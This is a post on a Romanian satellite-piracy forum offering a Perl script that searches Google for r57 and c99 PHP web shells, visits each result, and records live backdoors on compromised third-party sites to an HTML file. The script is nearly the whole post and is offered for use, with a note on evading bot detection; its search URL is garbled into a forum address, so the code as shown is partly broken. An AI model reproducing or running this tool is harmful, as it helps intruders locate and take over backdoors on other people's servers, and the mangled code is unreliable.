DIGITAL FREESAT FORUM
Here you find everything about the satellites for satellite receivers software, keys, movies, music ..... many other
Lista Forumurilor Pe Tematici
DIGITAL FREESAT FORUM | Inregistrare | Login

POZE DIGITAL FREESAT FORUM

Nu sunteti logat.
Nou pe simpatie:
Profil Jamieknv
Femeie
24 ani
Bucuresti
cauta Barbat
26 - 55 ani
DIGITAL FREESAT FORUM / Hacks, Exploits, and Various Discussions / Google php shells finder (perl) Moderat de grass
Autor
Mesaj Pagini: 1
d4jjue
Membru nou

Inregistrat: acum 16 ani
Postari: 28
Finds r57 and c99 shells. Easy to mod it and add more.


#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

usage() unless $ARGV[2];

my @searchTerm;
my @checkTerm;

if(lc($ARGV[0]) eq "r57") {
   push(@searchTerm, "inurl:r57.php");
   push(@searchTerm, "\"[ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]\"");
   push(@searchTerm, "intitle:r57shell");
   push(@checkTerm, "r57");
   push(@checkTerm, "safe_mode");
} elsif(lc($ARGV[0]) eq "c99") {
   push(@searchTerm, "inurl:c99.php");
   push(@searchTerm, "\"Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout\"");
   push(@searchTerm, "intitle:\" - phpshell\"");
   push(@searchTerm, "intitle:\" - c99shell\"");
   push(@checkTerm, "c99");
   push(@checkTerm, "Safe-mode");
}

if(!@searchTerm) {
   print "Error: [shell to find] is a unknown shell\n" and die;
}

my $outputOn;

if(lc($ARGV[1]) eq "on") {
   $outputOn = 1;
} elsif(lc($ARGV[1]) eq "off") {
   $outputOn = 0;
} else {
   print "Error: [screen output] must be \"on\" or \"off\"\n" and die;
}

my $outputFile;

if(index(lc($ARGV[2]), ".htm") > 0) {
   $outputFile = $ARGV[2];
} else {
   print "Error: [output HTML file] must be *.htm or *.html\n" and die;
}

open(FILEHANDLE, ">$outputFile");
print FILEHANDLE "<html><head><title>PHP Shell's</title></head><body>\n";
close FILEHANDLE;

my $userAgent = LWP::UserAgent->new;
$userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");

my @resultLinks;

foreach(@searchTerm) {
   print "[*] Query for \"$_\"\n" if($outputOn == 1);
   
   my $isLastPage = 0;
   
   for(my $gPage = 0; ; $gPage++) {
      if($isLastPage == 1) { last; }
     
      my $gRequest =  HTTP::Request->new(GET => "http://www.freesat.3xforum.rogoogle.de/search?q=$_&start=$gPage"."0");
      my $gResource = $userAgent->request($gRequest);
     
      if($gResource->is_success) {
         my @gContent = split("<div class=g>", $gResource->content);
         if(@gContent < 10) { $isLastPage = 1; };
         
         for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) {
            my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6);
            $shellLink = substr($shellLink, 0, index($shellLink, "\""));
           
            print "[*] Check status of site \"$shellLink\"\n" if($outputOn == 1);
           
            my $sRequest = HTTP::Request->new(GET => $shellLink);
            my $sResource = $userAgent->request($sRequest);
           
            if($sResource->is_success) {
               if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
                  open(FILEHANDLE, ">>$outputFile");
                  print FILEHANDLE "Link: <a href=\"$shellLink\">$shellLink</a><br>\n";
                  print FILEHANDLE "Search Term: <i>$_</i><br><br>\n";
                  close FILEHANDLE;
                 
                  print "[+] Found shell: $shellLink\n" if($outputOn == 1);
               } else {
                  print "[-] No shell\n" if($outputOn == 1);
               }
            } else {
               print "[-] Offline\n" if($outputOn == 1);
            }
         }
         
         sleep 20; #wait 20 seconds so google dont think we are a bot
      } else {
         print "Unable to query google\n" and die;
      }
   }
}

open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "l3ts findz s0me php sh3l1s";
close FILEHANDLE;

sub usage {
   print qq(

)    and exit;
}


pus acum 16 ani
   
Pagini: 1  

Mergi la